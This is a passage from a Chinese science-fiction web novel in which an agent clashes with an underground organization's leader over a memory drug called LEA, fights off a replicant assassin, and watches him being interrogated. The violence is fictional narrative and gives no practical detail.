对我来说,有点太扎手了。
姚渊开了自己的手电,在迷宫似的走廊里左穿右穿。姚瑎步伐轻快,没有丝毫的停顿。
越往深处越没有光线,落后几米的我不得不打开自己的手电筒探路:“这里是哪?”
姚渊忽然停在一扇门前,不满地“啧”一声,后退几步,一脚踹开了门。不算小的动静炸出一串窸窸窣窣的声音,最后很快归于寂静。
姚瑎这才回答我:“地下天文馆。”
“你也可以理解为,”姚渊站在门后的栏杆边上,等我靠近了才说话,“人类异常信仰组织的据点之一。”
我探头从栏杆往下看,才有几分熟悉。十年前的早期据点,大厅里根据穹顶的透光而堆放着几个架子,光线最好的地方还有一张圆形桌,最差的地方有一块实体白板。
“当然,是最早期的。”姚渊见我认出来了,继续顺着栏杆往下走,“十年前的案件结案,五年前我被组织‘召回’,这地方重新启用也就是这两年,没什么人来。”
姚瑎熟门熟路地在书架上拿下一本实体书,绕到我看不见的地方去了。
我绕过圆桌,把行李包扔到白板边上,站在白板面前,借着月光去看内容,嘴上问姚渊:“我之前就想问了,你在互助会上的‘召回’和叶琦申请的‘修正’,到底是什么意思?”
19. 微薄信任的合作
“字面意思。”姚渊拉开一张凳子,摁开手边的台灯,“一般情况下,召回就是自愿接受LEA,修正就是被迫接受LEA。当然,也要看提出人的想法,有的人觉得‘修正’需要暴力手段,比如叶琦。”
说到叶琦我就听得心头火起,转身撑在桌面上和姚渊对峙。对方仿佛早就猜出我的情绪爆点,直接和我毫不避讳地对视。
“叶琦被你们哄骗了。”我盯着姚渊,“你们利用了余殷留下的信息,利用了她当时走头无路的心态。手段龌龊,令人不齿。”
姚渊没立刻反驳我,在手边的一叠文件翻了翻,滑出一份。文件跨过整个圆桌,正好停在我手边。
“没法反驳。”姚渊的语气里是坦然,“我们,至少是我,并不会参与任何组织成员之间的冲突。我继承叶琦的修正,只是因为‘吴潍’很重要。”
我没管姚渊的自我辩解,翻开那份文件,里面是LEA的发展记录。很多信息都是手写,实体证据是拍照而非复印件,显然是违规收集,而非正经渠道获得的信息。
信息也很有限,看得出来姚渊本人被务实派革除在外的程度之深,拿出这份文件显然是向我证明组织内部确实有我要的信息和证据。
我扫一眼迅速总结抓出重点。
LEA-B首次出现在3821年,是对管理局药剂CEC药剂的逆推,具体原理没有记录,但可以确定姚渊是第一个实验品。
没有LEA-A?这份时间好像限制在某个时间点之后,显然严格限制了姚渊的知情范围。
夹在其中的实体文件证据,记录了姚渊注射前后的所有生化反应和情绪变化,最后结论是LEA只有CEC的百分之六十的效果。
CEC是什么药剂?我试图从脑海里抓住灵光乍现的瞬间,但什么都没有。
我本想问姚渊CEC是什么,但文件上只有缩写,没有全称,想必他也没查到,于是我换了个问题:“你们的CEC药剂从哪里来的?”
“这就要我们去查了。”姚渊后靠在椅背上,“更重要的是,那份CEC里的记忆,来自余殷。”
终于提到重点了。我合上那份文件,传回给他。
还有什么证据比得上从当事人脑袋里的记忆靠谱?我下意识地想追问,但姚渊说什么都不如我亲自拿到手再看,最后只回了他一句:“我知道了。”
姚渊明显地愣了一下,似乎没有预料到我的反应这么平淡。想说什么,也说不出口,他把手边的文件再次整理好,结束了话题。
姚渊没有阻止我翻看他收集至今的记录,尽管我也没有找到其他超出我所知的事情。
无果,我又转身去看那块白板。
上面是一张关系图。十年前的小队成员几乎都在上面,每个名字旁边都贴满了记录便签,而最顶上的“吴潍”旁边是干干净净。
没有想太多,我重新审视着白板信息,开口问姚渊:“你为什么放弃调查吴潍了?”
姚渊没有回答我的问题,反而是刚刚拿着书转到架子后的姚瑎重新出现,回答了我这个问题:“姐姐,在叶琦姐姐来到组织之前,我们只有她被调职一个线索,查下去只会暴露,没有任何好处。”
我还以为姚瑎被姚渊保护得很好?我转头看向她,从她身上找出被控制的迹象,很遗憾,并没有。
姚瑎手里端着那本厚重的书,和我对上视线,“啪”一声合上了书,冲我眯着眼睛笑了笑:“虽然我也只负责给哥哥打下手,但我名义上也是‘总督’,姐姐。”
我在诡异又善解人意的寂静里沉默了几秒,握紧拳头,克制住情绪,挣扎出一句:“所以,你,你们在叶琦的案件里扮演了什么角色?”
姚渊重新起身,走向姚瑎。我听见凳子在地上摩擦,拖出令人眩晕的长音。
“背景板。”他拿过妹妹手里的书,放回书架的空缺处,“我和叶琦几乎算同时正式加入组织,姚瑎更是只和她见过几面。我倒是想通过她查‘吴潍’,但务实派并不准我去查。”
姚瑎上前几步,试图来牵我的手。我退缩了一瞬间,最后没有拒绝。
她看着我的眼睛:“姐姐,不管你怎么想,哥哥就只是继承了叶琦姐姐未完成的‘修正’。这是我们唯一的突破口。”
所以,务实派其实才是组织的核心掌控派系,姚渊只是个用来安抚“保有初心”成员的工具。但这也只是组织总督的一面之词,姚渊这种人,绝不会让自己如此被动。
我深呼吸,抽回手,后退半步,重新拉开距离:“你们甚至都不记得十年前的案子。你们到底为什么在行动?炸了一千多万的东西,挖了一个守口如瓶的人,图什么?”
“很简单,你能为城市付出一切,我也可以。”姚渊靠在书架上,语气里隐约有些嘲讽,“人类不会甘于无知地活。”
“好强的责任心。”我不咸不淡地嘲讽回去,“但清醒只会是一种凌迟。”
无果的争论,白费口舌。我想着。但也得承认,姚渊曾经说过我们之前的分歧没有想象中的大,也是事实。
不知道城市真相,他自然会去追求,十年前的我也是如此。作为原型的我和吴潍的差别比想象中大太多,尽管原型姚渊大概率会像我一样选择沉默,但眼前的复制体姚渊不一定。
我不敢赌这个可能。
姚渊也没和我再进行理念鬼打墙,转而去问姚瑎:“天文望远镜调好了吗?”
“调好了!”姚瑎的语气恢复了我之前所听的轻快,“星象跟书上的记录偏转了2度,也许能看见比预计中更多的流星。”
我不想参与这种突发奇想的小活动,挥手回绝,转身准备离开。
姚瑎也没有强制挽留我,只是伸手指指白板后方的空间,对我说:“那边算是卧室,该有的都有,姐姐你可以随意使用。”
瞥了眼在后方不置可否的姚渊,我毫不客气地调转方向,走向姚瑎指的方向。
他们兄妹俩自行开启了话题,我没心情去听,也没心情加入。绕过白板顺手拿走行李包,再绕过巨大的书架,我在门口摸了半天才开上灯。
稳定的白炽光灯照亮了很小的空间。空间里塞了一张床和一件衣柜就什么都没有了,再往里拐弯,才有一间上层极少见的浴室。
我下意识地开始检查环境。拉开柜子也没有值得注意的地方;没有窗,没有多余的装饰品,这个空间的唯一存在价值仿佛只是用来睡觉。
看着跟我在下层的公寓差不多。卸下腰间的装备,统一塞进包里,我收拾好东西,拐进浴室。
等我洗掉身上的硝烟味,坐在床边整理手枪和弹夹时,看见姚瑎又蹦蹦跳跳地回来了,坐在我床边,调出手环里的视频。
我手里还捏着枪呢,姚瑎就怎么大大咧咧坐下了?姚渊到底对他妹妹是什么认知?
敷衍地分心去听姚瑎的讲解,听她借着照片和视频给我补上错过的流星计划。我并不感兴趣,因为有防护罩的存在,天文望远镜里看见的流星是经过计算的,清晰但不真实。
“你也是用这种方式对待叶琦的吗?”我慢条斯理地装配好腰包,确认所有装备无误,“你给你哥哥打的下手,不会是唱双簧吧?”
她的声音忽然停住了,关掉手环,眨着眼睛,才回答我:“……姐姐,我们不是坏人。”
你们?我在心里阴阳怪气地复读一遍。
“没说你们是。”我拉上行李包的拉链,想说什么又不知道该说点什么,“我也不是什么好人。”
姚瑎被我的话噎了回去,绞着手指,皱着眉头,鼓气沉默半饷,最后不再和我搭话,起身去衣柜拿换洗衣服,走进浴室。
“吴队,你真擅长聊天。”姚渊靠在门框上,似笑非笑似地评价我,“姚瑎很少会这样结束话题。”
我不以为意:“谅解一下,我毕竟是个脱离社会十年的人。”
“没看出来,逃避问题的话术倒像是摸爬滚打了十年。”姚渊揶揄我,“你觉得我‘为了城市’的理由虚伪,这个理由也说服了你自己十年。”
我讨厌姚渊。我在心里长叹一口气,对他说:“人类的动机不可能是单纯的。”
“大家都一样。”姚渊的语气又压了下去,“我想要知道真相,想要把组织拉回十年前的互助会性质,我就必须知道十年前发生了什么。”
我和他对视:“尽管你最后什么都做不了?”
姚渊眯了眯眼睛,似乎觉得这种假设在他身上完全不能成立。我摊手表达无可奉告,拿起行李包准备离开。
但该死的组织总督人高马大地堵在门口:“你要去哪?”
我也不让步,毫不畏惧地直视他:“我不想跟你们睡一个屋。”
上次没打过他就只是因为受伤严重,我不介意一雪前耻。
姚渊难得露出称得上是“匪夷所思”的表情,看着我的眼神却保留了几分饶有兴致:“你想睡车上?”
“身边有活人就睡不着。”我给出实话,摁着他的肩膀给我自己开出一条路,“更何况那活人还是你和你妹妹。”
他没再拦我,在我走到白板的时候才对我喊话一句“晚安”。我拒绝提供对等的情绪价值,头也不回地给他竖了个中指。
打着手电原路返回到车上,我调整了座椅,整个人趴在舒适的弹性垫子上,伸展着四肢。蠕动爬行两步,从后备箱摸出薄毯,把行李包当做枕头,我总算是找回了睡觉的前奏。
昨天和今天,都是我回到上层难得的良好睡眠机会。
没有手环,无从联系吴潍和林执。我看着车顶,又翻个身。林执倒还好说,他本来就不怎么认识我;但吴潍肯定会
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因为我的失联而担心或者生气,最后会尝试联系组织。
我自认和吴潍没那么多关联,但我本人就不会放任“队友”杳无音信,而作为复制体的吴潍,就凭借前两天那番“圣母”发言,也不会袖手旁观。
总之,在吴潍试图联系姚渊之前,我得把事情解决掉。也不知道林执和吴潍在管理局能查出什么,要是事情超出我控制,我又能怎么做?
姚渊你真是害死我了。我砸着手边的软垫发泄,最后还是认命地闭上眼睛,抓紧时间休息。
脑袋里一团浆糊,我需要休息,我需要短暂地逃避该死的现实。
不知道过了多久,我听见了金属碰撞的声音,尽管动作放得很轻,但在寂静的周围环境里,对我来说依然明显。
扰人清梦。我下意识想去看时间,结果只在左手腕上看了个空,又原路把手放回去。
在撬车门?是组织派来的新炮灰?不应该,姚渊给出的地点显然是自用的,他不会主动暴露,况且十年前的组织据点也不止这一个;装备武器?离得那么近才开始装备?未免太业余了——不,如果是生命维护执行官,那就说得通了。
生命维护执行官在任务中,会尽可能不破坏任何环境物品、不留下可追踪的信息,这都是基本训练。
我作为人类执行官,相对来说不怎么关心这一点,但他们作为复制体,会比我守规矩得多。
他在撬开我的车门,然后再处理我,很标准的暗杀流程。
我屏住气息,摸出一边腰包里的手枪,放轻动作,曲腿作势,探上和执行官相对的一侧车门,用最快的速度离开车内。
对方意识到我已经察觉,迅速拔枪绕向我。
我毫不含糊,双手一撑,攀上车顶。趁对方尚未抬起枪口,手枪迅速瞄准,近距离击中对方左肩,最后我整个人顺势拉进距离,优先控制对方行动能力。
关节技对执行官来说基本无效,疼痛、软组织损伤和脱臼并不能控制他们的行为能力,骨折才是最有效也最直接的控制。
来人因为近距离冲击力往后退了几步,正好给我留出空间站稳。我一手抓住对方持枪手上移,枪口紧贴对方手腕,往下移了几分估算距离,在小臂中间开枪射击。
对方的左拳直冲我的脸,我迅速放开牵制的双手尽可能地往后一仰,堪堪躲过这一记。
但我的头不偏不倚地撞在了车架上。
爱车终于找到机会报复我了。我有一瞬间的眼前一黑,不满又无奈地粗喘一声,转而下蹲瞄准对方右小腿开枪。
执行官就是执行官,受伤的右小腿依然被选择作为支撑腿,落空的左拳扶在我的车架上,真让他找到了左腿发力的支点。
我几乎没有办法完全躲开,将手枪调转到非惯用手,右臂曲肘拦截,左手微调枪口攻击他的膝盖,以求降低他的攻势。
随着枪响,他整个人不得不半跪在地上,我也被他剩余的冲击踢出去滑行一米多。
左手在地上摩擦出一长片血迹,我干脆躺在地上,枪来不及调回惯用手,凑合着双手就地瞄准他的右肩,在对方艰难抬起右手瞄准我的同时开枪。
对方左肩,右肩,右腿几乎失去行动能力。
我翻身爬起,一刻也不敢多喘口气,准备靠近卸掉他的手枪。
但我还是大意了,他的左手居然还可以强行抬起来,以我预料不到的诡异角度死死抓住我的右手手腕,力道之大让我忍不住皱了眉头。
卸掉他的枪?还是先解救我的手?
眼看着他的右手居然又准备抬起枪口,我干脆往外向上推出受控的手腕,迫使他不得不拉近上半身。我迅速提膝,袭向他的下颌。
令人牙酸的骨裂声音。我忍不住为他惋惜起来。这下从医院里出来八成得改面相了,祝你的生物识别还好用。
眼前的执行官整个人明显软了下去,显然是昏迷了。我摸不准他的昏迷是暂时的,还是得有一阵,只能速战速决。
左手枪身贴紧我被控制的右手,枪口沿着对方的左臂移动,在小臂中间开枪。对方的左手终于彻底放开了我的手腕,整个人因为我的膝击往后仰去。
他的枪还握在手里,我一脚踩上他的右臂,在对方张开手的同时一脚踢出手枪。
后退几步,低头看看自己的左臂,又看看自己的手腕,都是皮肉伤,没什么大碍。
看来对方得昏迷一阵了。我蹲下身,在他身上摸索起有没有什么证件文件装备之类的。
我一般不选择这种会破相的打法。
袭击同事会扣工资,把同事打得生物识别不好用又是另一笔扣工资。我的钱又不是大风刮来的,能讹一笔管理局多少都是赚。
但我觉得很疑惑:管理局没到派执行官的时候,况且这时候就算派人来,也不应该来处理我。
20. 微薄信任的合作
一边缓气一边翻,最后我没有找到信息设备,没有手环,没有物质移动终端,什么能够用来联系的物品都没有。
我不能理解,就好像这个执行官像是从天上掉下来的一样。
我开始怀疑这人是不是执行官了,但身手绝对是执行官,身上的开锁装备是执行官专属,做风也是执行官做风。
想去问管理局在搞什么鬼,但我的手环被姚渊“枪决了”。我干脆坐在地上,看着眼前不省人事的生物。
太阳在远处的辐射区地平线升起,感觉不到温度的光线照着眼前的荒唐。
我要联系管理局我就得回市中心,但执行官的只能由核心管理层调遣——心里对管理局的怀疑忽然串成了一条明晃晃的线,先前都只是模棱两可的怀疑,这位执行官几乎就是无法驳斥的证据。
我掰着手指头暗数。
吴潍居住地的情报错误,叶琦被诱导加入组织和被压下去的死亡案子,组织里的多位管理员,在城市内的追车跟踪,直到现在执行官来撬锁——摆明了管理局内部有组织的人,并且非常高层,高层到我的上司不得不把我请回来干活。
所以,我现在直接回去只会打草惊蛇。
苦恼地抓头发,我甚至都不知道怎么主动联系顶头上司,想借用别人的手环都不可能。
难道我要去拷问一位生命维护执行官吗?他们会不会说话我都存疑……也许在下层,他们不跟我说话是因为我不合群?
我当然不合群了!我们都不是一个世界的人!
乱糟糟的想法翻过来覆过去,我看着流了一地的血迹,起身从车里拿我的医疗箱,给他临时止血和治病,认命地选择了“拷问”。
这地方我开了那么多枪都没无人机来看看,留在地上的痕迹我都懒得清理。
总之,在一身血迹和灰尘的我,拖着这具成年男性身体,最后绑在地下天文馆大厅的时候,姚渊第一件事是把姚瑎打发进卧室,第二件事是看着我和那位倒霉执行官沉默半天,第三件事是说了一句话。
语气我捉摸不透,反正他说:“吴队,人类一般不会选择人类□□作为早餐。”
没理会姚渊的玩笑话,我伸手在他面前一划,指向还在昏迷的生物体,示意他去检查看看有没有什么线索。
我拿着清创药物走进卧室,正好撞上姚瑎准备开门偷看的动作。对着她摇摇头,进门反手锁门,走进了浴室。
拆了手腕上的纱布,小臂的擦伤都不严重,我重新清洁伤口,去除异物,涂了药没再缠绷带,倒是右手腕被那执行官抓出明显的五指淤青看起来更恐怖一点。
顺便洗漱一把,下意识去找化妆品,才意识到我的化妆品留在了车里。还在想对策,又想起来姚渊早知道我可能是吴潍的原型,遮遮面部特征不急于这一时。
修整完伤势,我本想就这么出去,姚瑎忽然把我的右手牵过去,不知道从哪个犄角旮旯拿出个小冰袋,压在我的手腕上。
她冲我眨眨眼,露出一个“你也没想到”的得意浅笑。
我左手压着冰袋,没拒绝她的示好,琢磨了一下要不要把姚瑎放出去,又和她亮晶晶的眼睛对上,干脆做甩手掌柜,自顾自拉开卧室门离开。
姚渊还在检查我的“战利品”身上有没有什么线索。这倒霉蛋的武器装备都被我回收到车上了,他要找的线索只能是我不了解的部分。
我顺手拖走手边的椅子,在地上拉出不顺耳的长音,高调地坐在他们的周围,领导似的翘个二郎腿,看姚渊忙活。
执行官身上确实没有线索,一无所获的姚渊转而开始检查对方伤势,一脸说不清是嫌弃,还是同情地轻轻托起对方下巴,端详一番脸,又轻轻放下。
“你认识吗?”我看他站在原地没了动作,才懒洋洋地问他,“这人扰我清梦,有点起床气,难免下手重了些。”
姚瑎远远地坐在圆桌另一端,忍不住皱了皱眉头,但没有离开。周围的血腥味淡了不少,我倒是无所谓。
姚渊单手抱胸,另一只手摸着下巴思考:“我暂时没什么头绪。他身上没有任何标识,你拿走了什么?”
“武器,装备,暗杀流程那一套。”我跳过他的第一句谎话,从他的第一个问题开始实话实说,“其他如你所见,什么都没有。”
“他身手怎么样?”姚渊终于有心情看我一眼,再次确认我的伤势来倒推。
但他的视线最先落在我的脸上,停顿的时间超过了他之前的信息收集时间,换句话说,他愣住了,而且愣得很明显。
我略微低头,下意识地利用头发遮脸,抬起双手展示伤势:“比城市管理员厉害得多,但我不知道跟你这种‘城市执行官’比起来怎么样。”
“你跟吴潍真的很像。”姚渊冷不丁重申事实,“当时在停车场里那么暗,我都没意识到。”
倒反天罡。我无语地翻了个白眼:“所以你当时不仅仅是偷了我化妆品的小偷,还是虚张声势的骗子。”
姚渊摊手,摆出“但我是赢家所以我是对的”的无赖表情:“败者为寇,吴队。”
好,行。我暂时不追究我的化妆品去向,冲姚渊抬了抬下巴,示意他面前的倒霉蛋开始转醒了。
看着那位执行官短暂挣扎,因四肢几乎都失去行动力而有心无力,我换了个姿势,看戏似的看这姚渊“审讯”。
姚渊伸手摸了摸他的脖子,顺着脖颈一路摸到骨折的下颌,确认对方发声组件没有问题,收回手,俯下身和倒霉蛋对视:“名字?”
绑在椅子上的人一句话都没说,平静而冷漠地对视回去。
我是从来没听过生命维护执行官说话,唯一的交流就是任务合作,战术都是提前规划好的,打手势基本就能解决,更何况,执行官们单打独斗的情况更多。
姚渊叹了口气,也不想沾到他身上血,背对着姚瑎做了个手势。姚瑎从隔壁书架上的暗格拿出一管我眼熟的针剂。
是LEA。我挑眉。果然LEA并不是单纯给予记忆的载体,有别的用处,在这里的作用,或许是吐真剂?
随着LEA针剂的注射,绑在椅子上的执行官眨了眨眼睛,紧绷的身体软了几分,但依然警惕。
姚渊后退了几步,看看手环上的时间,颇有耐心地等待着。
“你叫什么?”姚渊似乎觉得时间差不多了,又开始提问,但是语气放缓了不少,颇有几分心理医生的严肃温柔感,“你的目标是什么?”
但对面还是没有回答,沉默地开始流泪。眼泪划过他的面中,没有手去擦掉,只能一串一串地往下坠落。
“我还是第一次看见我的敌人掉眼泪。”我忍不住吐槽姚渊,“你们的LEA到底是什么原理,太奇怪了。”
姚渊似乎也没预料到这个场景,乖乖回答我的问题:“吐真剂用途的LEA会有舒缓轻松的记忆和情绪,总之跟麻醉效果差不多,但不用担心对方会因此生理崩溃。”
那我当时怎么晕过去了。我在心里嘀咕着,看着绑在椅子上的执行官一个劲地哭。真好,我都没地方哭,你还能哭上。
“至于你,”姚渊仿佛知道我在想什么似的,语气里有几分笑意,“身体重伤和精神不稳定,叶琦的LEA会让你昏迷几乎是肯定结果。”
我不满地转移话题,拒绝他当面分析我:“我要是精神不稳定,那整个城市都没精神稳定的了。”
听见那位执行官啜泣的声音,最后他终于舍得张开嘴,发出一个单音节:“……痛。”
姚渊似乎有点困惑,看了我一眼,似乎在谴责我下手太重。我总不能告诉他这人八成是我同行,不下重手等于无效,只好背下这口黑锅。
其实他在回答姚渊的问题,生物复制体的名字都是单音节,他的名字是“Tong”。
“我知道你很痛,但请深呼吸。”姚渊的语气听得我有些浑身发毛,邻家哥哥人设放在他身上诡异的合适,“你记得什么?”
Tong脸上的泪痕尚未干涸,他的视线看向姚渊,声音冷静:“任务。”
噢,原来他们会说话,那不跟我说话是有什么心事吗?我腹诽着。我在下层除了上班,偶尔也会蹭邻居饭的,总不至于是因为我性格太烂吧?
我还在走神,却发现他转头看向了我,似乎把我从头到脚打量了一番,最后和我对视许久,诡异角度的下颌一张一合,开口对着我说话,声音有几分疑惑:“……Woe?”
原来是下层的执行官,怪不得没有之前遇到的难缠。
我站起身,随手把冰袋扔在座位上,走近几步,单手叉腰站在他面前:“我认识你吗?”
“不知道。”他倒是诚实,“不记得,名字,你。”
姚渊没有放过这个可以挖苦我的机会,在我身后懒洋洋地发话:“艺名挺多啊,Wined小姐。”
反手冲身后的人再竖一个中指,我接手了姚渊的审讯任务:“任务类型?”
他的神色有些茫然,不知道是因为药剂,还是真心无助:“复制体。”
被当枪使的同行。我后退两步,忍不住叹气一声。
这是下层执行官被强行调到上层了,这也能解释为什么手环丢失也会继续任务了。
对于生命维护执行官来说,手环跟命没区别。
管理局需要通过手环实时掌握定位,保证一切在可控范围内。下层的人跑到上层,是极其严重的违规行为,但Tong没有手环,不知道自己已经偏离了下层范围。
什么人,可以知道整个城市分为正负世界,可以把负世界的执行官捞到正世界,可以给执行官下达追杀任务,可以拿走执行官的所有物理联系设备、而不被核心管理层立刻锁定?
怎么看怎么像我的顶头上司。我查LEA走私案件,怎么看着要把管理局推翻了?简直就是荒谬,无理。
老板,上司,我们管理局里有内鬼。我隔空对着远在生命管理局的顶头上司喊话。
“你知道什么了?”姚渊看我许久没说话,忍不住问我,“
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管理局的人?组织内部的打手不会有能够伤到你的身手。”
我沉默着,飞速思考是全盘托出,还是挑着重点说。
Tong认得出我,但我对他毫无印象,应该是见过的同事?我分辨同事一般都是看气质和身手,脸隔段时间就会不一样,主要看管理局心情,但他们可能需要额外的生物信息记录来分辨我。
“可能是管理局的人。”我挑着重点尝试敷衍姚渊,“但管理局不会对我下手,我怀疑是管理局和组织勾结的人派来的,你觉得,谁会有这么大的能耐?”
“订货人。”姚渊给出他的直接猜想,“订货人和组织是利益绑定关系,并且是唯一未知来源的第三方。”
订货人。我思考着。也许吴潍和林执能找出点蛛丝马迹,但我现在是完全没法联系他俩。
我可不敢抓着姚渊的手环给他们发消息,吴潍只会多想是某种隐蔽的求救信号。
Tong微微抬头盯着我看,偏头,蹙着眉头思考,脸上的困惑和冲突简直要化为实体了。
我知道他在困惑什么,因为我的身份也是生命维护执行官,不应该,或者说轮不到同行来处理;目标身份和任务目标完全冲突了,他在尝试思考。
可惜LEA还在让他的脑子飘忽,很难严肃思考。
啊,习惯一个人干活我都把他忘了。我和他对视:“你的手环在哪?”
他的语气恍惚了起来,眼睛虽然还看着我,但已经神游天外了:“交出去,要求。”
我摸了摸眉心,他这种缺少主谓宾的对话真是相当难理解:“在哪里交出去了?”
他抿唇,后靠在椅背上,身体力行地拒绝回答这个问题。
我的视线明显地在他只有算得上完好的左腿上浏览,最后和他对视,极具暗示意味地挑眉。
Tong在束缚之下努力坐正了身体,皱着眉头盯着我看:“不能说。”
“这是你最能说的部分了。”我叹气,压低声音暗示他,“你知道自己超界了吗?巡逻队范围不包括城内。”
Tong好像终于意识到他的任务并非正常流程,压低了眉眼,视线在我身上和背后的姚渊上来回一番:“我不信任你。”
我不满地“啧”一声,干脆扯了第一个谎:“你的任务目标还有他?这和我的任务冲突了。”
管理局统一调度各个执行官的任务,显然不会出现这种低级错误。
Tong沉默了几秒,晃了晃头,好像在试图从LEA那种飘忽的感觉里解脱出来,好能正常说话:“分界线内,他们只给了我一个范围和你的车牌号。”
我摸着下巴思考起来:“什么时候下的任务?你有代步工具吗?”
眼前的倒霉蛋神色逐渐恢复到清醒,手指点了几下,回答我,说到一半又笑了起来:“十八个小时前。代步工具?亲爱的,只有你才买得起。”
这倒霉蛋找了整整一晚上?我瞪了他一眼,示意他话太多了。
分界线指的都是辐射区和城市的分界线。既然给的是范围和车牌号,总不能让人横跨几个小时的辐射区车程,再在十几公里范围内人力来找,根本不现实。
所以,更可能是从被违规调进辐射区巡逻队的下层执行官。
有趣。我想想要过滤什么信息再说给姚渊听。
“吴队,我建议你想到什么说什么。”姚渊仿佛看穿了我的小心思,在我背后幽幽地提出“建议”,“你得拿出点对等的诚意。”
Tong的表情看起来有点困惑和幸灾乐祸。我深呼吸,用眼神示意我说什么就是什么,他只需要承认。
被威慑的倒霉蛋缩了缩脖子,整个人瘫在椅背上彻底认输。
“我很好奇我在你眼里到底是什么画像。”我转身去和他对峙,“你问我答如何?”
“那我就不客气了。”姚渊靠在桌子边缘,用着一副社会批判家的语气对我说,“他怎么会认识你?你看起来收入比他高很多?”
“同行,收入高说明你那一千四百万炸得值回票价。”我诚实承认,还有心情夸赞一把我的“新上司”,“确实是管理局的人,并且是有能力到调用这种队伍的高层。”
“啊,同行。”他意味不明地拉长语调,“Woe?”
我沉默了几秒:“名字只是代号,你知道的。”
姚渊似乎要压不住笑了,嘲讽的语气故意激我跳脚一般:“那我应该用哪个名字称呼你?吴潍?Wined·Caster?Woe?每个反应都一样?”
说不出话,我有些头疼地移开视线:“如果你要勾引起我的存在主义危机,恭喜你失败了。”
我真讨厌他。吴潍抢我名字,剩下俩第二语言名敷衍得仿佛只有处理掉“吴潍”才有出头之日一样——噢,我还以为我释怀了。
毕竟吴潍太像我不存在的妹妹了。
“那就看我心情。”姚渊挥挥手,不再试图把我气得失去风度,“所以,你的最大结论就是管理局里有内鬼?”
21. 微薄信任的合作
“没错。”我斟酌着语言,“我想向你确认一件事:姚渊,你向组织说了多少有关于我的事情?”
姚渊撑在桌边,语气里的玩世不恭消减了不少:“你是我的个人调查,组织只会阻碍我。而且说实话,吴队,我们不论如何都是一根绳上的蚂蚱了。”
如果姚渊没有说谎,那就说得通了。组织对我了解不多,派来的人都是糊弄城市管理员绰绰有余的,下层执行官是他们能调出的最大战力。
生命维护执行官本身就是城市内部的最大战力。
可惜没预料到我也是执行官,而执行官之间“禁止”互相残杀——当然,要是钱多那也无所谓。
我看着他,对方眼神倒是挺真挚:“当我的绳上蚂蚱?姚总督,你得往后排队。”
姚渊一脸欣然地接受他要排队的事实:“所以,十年前的交易结果就是这个,当管理局的地下清道夫?”
哪壶不开提哪壶。我不置可否:“生命维护执行官,我们有头衔。”
眼前的男人意味不明地笑了一声,抬手指着我的心脏一般:“你,用人命换一份要人命的工作,真是对你刮目相看。”
姚渊在说什么?质疑我?我对真相沉默是如今已经动摇的选择,但我这份工作的选择是必然结果。
要不然我还能做什么?
不管我选择对着全世界广播“你们这帮傻子是圈养的猪”,还是像现在这样保持该死的沉默,我都会为了城市真相抗争,处理掉前进路上的一切人事物。
凶手?这种头衔对我毫无意义。但我还是委屈、怒火,我深夜里贬低自己的句子从他嘴里说出来完全是另一码事。
好想跟他吵架,但又是我活该的。
咬紧后槽牙,压下心里的恼羞成怒,我试图找回理智:“你的组织成员,把‘爱’变成挥向所爱的刀又有多高尚?”
姚渊收起了多余的表情,语气坠入冰点:“你觉得是我教唆?我只是给了他们选择,LEA,格斗培训,最后他们要做什么依然属于——”
“把自己撇得真干净。”我打断他的话,不想再听推卸责任的废话,嘲讽回去,“选择权?就是一帮婴儿吵着要去跳火坑,我拼了命地拦着,还嫌我是彻头彻尾的坏人?”
他似乎觉得我不太冷静,没有火上浇油,暂时选择了沉默。
异常组织在真相上没有任何推动,一切都停在十年前,否则不会像这样窝窝囊囊地在地下搞小动作,管理局都抓不到把柄。
要是姚渊真的有那种破釜沉舟的信仰,手里有一分“管理局是错的”证据,这个城市就不会因为所谓的“异常信仰”而暗流涌动,而会是毁灭一切的海啸。
“姚渊,你真以为自己的那些高尚的口号能拯救什么人吗?”我指了回去,罕见的愤怒让我有些口不择言,“我可以!我只要闭上嘴,端掉异常,你、你们,人类、复制体,都能活着!你有什么资格评价我?”
姚渊看着我,嘴角一贯的微笑彻底消失了,身上的气场散发出奇异的冰冷。
我无声地盯着他。他像一尊雕像似的沉默着。
对峙没有意义,争吵也没有意义,我放下手,转到一侧的凳子上,撑在圆桌边缘努力让自己彻底冷静下来。
诡异的吵架氛围,在各自的立场上本身就无法说服对方。我重新抬起头,下意识地看向左手腕,忘记手环被毁,没法看时间。
姚瑎不知道什么时候站到我身边,小声讨好似的提出建议:“姐姐,也许我们还能赶上早饭的尾巴?”
没等我拿出些柔软语气回答她,整个空间炸开一声枪响,叠加起来的回声炸得我耳朵疼。
哪来的疯子。
我有些无语地去看始作俑者。绑在椅子上的Tong眼睛都没眨,一脸“你这人是不是有毛病”的表情。
“哥哥看起来好生气。”姚瑎往我身后躲了躲,冲我旁白似的低语着,“他很少会吓人玩。”
玩?姚渊看起来真会带孩子。我没躲开姚瑎忍不住贴上我肩膀的手,看着他举着手枪,子弹明显是擦着倒霉蛋边上穿过去的。
“跟我谈谈你知道的Woe。”姚渊的声音很冷静,听起来像是普通的洽谈,“不建议说谎,我听过的谎比你说过的都多。”
姚瑎怎么不去拦着她哥,姚渊看起来想杀个人助助兴。我和Tong对视,食指在我的太阳穴处转了转,示意他想好了再说。
“别吃醋,我跟她不熟。”Tong后靠在椅背上,看淡生死一样给姚渊添堵,“在我见到她本人之前,我一直以为这名字是管理局的占位符。”
姚渊暂时放下枪,靠在圆桌边上,反问:“没了?”
姚瑎,你哥生气真恐怖。我还是第一次听到他用这种“我知道你在骗我”的语气冷漠反问,感觉在杀鸡儆猴呢。
“你要我如何形容一个未知的人?”Tong挑眉,示意无可奉告,语气里有一些笑意,“你能和Woe合作,那你一定能看出来,我就是道测试题。”
姚渊没什么反应,再次举枪瞄准了Tong的头,缓慢地上膛,稳定优雅地单手瞄准:“你知道自己活不下去,为什么不争取?”
被枪指着的人笑得很灿烂,但骨折的下颌扭曲了这个笑容,令人毛骨悚然。
“Woe已经告诉你了。”他的声音有隐含的坚信,“我嫉妒你们,可以无知而幸福地活着,但你们从未感激。”
姚渊的枪口没有动,蛊惑一样的语气:“你可以选择说出真相。”
“你给我注射的小药剂真的很幸福。”Tong摇了摇头,忽然谈起了LEA,“那些记忆是真的吗?星空、家人、理想、信仰和未来?”
姚渊不为所动,等着对方抒情完毕。Tong似乎从姚渊的脸上看见了答案,可惜我只能看见他的侧脸,没法得到结果。
“你以为,让我说出真相会让所有人看见真正的星空?”他的语气变得嘲讽起来,“真相只会毁了这一切。”
姚渊依然沉默着,举枪的手依然稳定。
